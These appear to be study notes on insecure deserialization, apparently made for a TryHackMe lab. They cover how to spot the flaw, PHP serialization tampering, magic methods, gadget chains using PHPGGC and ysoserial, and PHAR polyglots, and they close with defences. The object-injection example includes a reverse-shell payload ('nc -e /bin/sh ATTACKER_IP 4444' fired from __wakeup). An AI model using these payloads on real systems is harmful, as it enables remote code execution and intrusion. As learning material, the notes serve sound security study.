Insecure Deserialization
Untrusted data getting deserialized into an object. Also called object injection. Danger is not just tampered fields, it’s arbitrary classes being instantiated and their magic methods firing before the app logic even runs.
Identify
White-box: grep for unserialize(,
pickle.loads(, readObject(,
Marshal.load, YAML.load (not
safe_load), BinaryFormatter.
Black-box, look for:
- Base64 blob in a cookie or hidden field. Decode and check for
O:,a:,s:(PHP) prefixes. __VIEWSTATEparam (ASP.NET), base64 encoded, sometimes plain serialized viewstate if MAC/encryption disabled.- Java binary magic bytes: hex
ac ed 00 05, or base64 startingrO0. - Error text mentioning
unserialize(),Object deserialization error, stack traces naming a class. - Append
~to a PHP filename to grab editor backup files, may leak source.
PHP serialize() format
a:2:{s:5:"title";s:12:"My THM Note";}
O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
a:Narray with N pairs,O:len:"Class":Nobject of Class with N propss:len:"value"string, length is byte length not char counti:Ninteger,b:0/b:1boolean- Private/protected props get the class name (or
*) null-byte prefixed internally, e.g.\0*\0isSubscribedfor protected - shows as garbled bytes if you edit by hand, use Hackvertor (Burp) to keep offsets correct
Modifying properties
Straight tampering, no gadget needed. Flip a bool, bump a role.
O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}
Change b:0 to b:1, re-encode base64,
swap the cookie. Works if the app trusts the deserialized object
without re-checking against the DB.
Type juggling via deserialization
Deserialization preserves type, so you can hand a loose-compare
check an int where it expected a
string.
if ($login['password'] == $password) { /* bypass */ }Send password as 0 and it can win against any string
not starting with a digit (0 == "anything" is true on
PHP < 8). 5 == "5 of stuff" also true on all PHP
versions since it coerces the leading digits. PHP 8 fixed the pure
0 == "string" case but not the leading-digit one. If
you fetched from $_POST directly this trick fails,
string stays a string. Only works because deserialize kept the
int.
Magic methods (PHP)
| Method | Fires |
|---|---|
__wakeup() |
on unserialize(), classic RCE hook |
__destruct() |
object destroyed / script end, common gadget-chain kickoff |
__toString() |
object used as string |
__sleep() |
before serialize(), returns props to keep |
__serialize() / __unserialize() |
PHP 7.4+ custom (un)serialize |
You can’t rewrite the method body, only control the property values it acts on.
Object injection example
Classes autoloaded or already require’d are fair
game even if never intended for deserialization.
class MaliciousUserData {
public $command = 'nc -e /bin/sh ATTACKER_IP 4444';
public function __wakeup() { exec($this->command); }
}$o = new MaliciousUserData();
echo base64_encode(serialize($o));Hit ?decode=<base64> on a vuln endpoint
calling unserialize($_GET['decode']),
__wakeup() fires, shell pops on your
nc -nvlp 4444 listener.
Gadget chains
A gadget is existing app/library code that does something useful
to you when a magic method chain reaches it. You don’t write new
code, you just pick which objects to instantiate and let their
methods call each other down to a dangerous sink (exec,
assert, file write). Kickoff is usually
__wakeup/__destruct, sink is a few calls
deeper.
PHPGGC (PHP gadget chains)
php phpggc -l # list all chains
php phpggc -l Laravel # filter by framework
php phpggc -b Laravel/RCE3 system whoami # -b = base64 outputLaravel CVE-2018-15133 (X-XSRF-TOKEN
deserialization), full chain:
- Leak
APP_KEY(used to encrypt the token) php phpggc Laravel/RCE3 system whoamifor the raw payload- Encrypt payload with
APP_KEYinto the cookie/header format Laravel expects, then send it asX-XSRF-TOKEN
curl target -X POST -H 'X-XSRF-TOKEN: <encrypted payload>'Ysoserial (Java)
java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.binJava 16+: needs --add-opens flags or it won’t run,
see the ysoserial README for the full set.
Detection-only chains, useful when you don’t know the target’s libraries:
URLDNS- triggers a DNS lookup to your Collaborator/DNS, no vulnerable library needed, works on any Java version. Best first probe.JRMPClient- forces an outbound TCP connect to an IP you control, useful in DNS-egress-blocked environments. Compare response time for a local IP (fast) vs external/firewalled IP (hangs) to confirm blind.
PHAR deserialization (no unserialize() call needed)
phar:// stream wrapper deserializes PHAR metadata on
any filesystem op touching it, even ones that look safe like
file_exists(), is_dir(),
filemtime().
- Build a PHAR with malicious serialized metadata
(
Pharclass, set stub + metadata) - Disguise it as an image (polyglot, valid JPEG header + PHAR data) to slip past upload filters
- Get the app to touch it via
phar://uploads/evil.jpg/test.txt,__wakeup()/__destruct()fires
Only works if extension/MIME check is weak and some filesystem function later runs on user-supplied path.
Other languages, quick hits
- Java:
Serializable+readObject()override, watch for it in source. Binary format, magic bytesac ed. - Python:
pickle.loads()on anything user-controlled is instant RCE via__reduce__. No CVE needed, it’s a feature. - Ruby:
Marshal.loadon untrusted data, gadget chains documented forActiveSupport/Rails. YAMLPsych.load(unsafe) vssafe_load. - .NET:
BinaryFormatterdeprecated for this reason.ViewStateifEnableViewStateMac=falseor key leaked, is a straight object-injection vector, ysoserial.net covers the common gadgets (ObjectDataProvider,TypeConfuseDelegate).
Defence
- Don’t deserialize untrusted input, full stop. Use JSON/plain data + your own mapping instead of native serialize.
- If unavoidable, sign the blob (HMAC) and verify before deserializing, checking after is pointless.
- Allowlist classes if the language supports it
(
ObjectInputFilterin Java,unserialize($data, ['allowed_classes' => [...]])in PHP). - Patch/upgrade frameworks, gadget chains are killed by fixing the vulnerable library version, not by trying to sanitize input.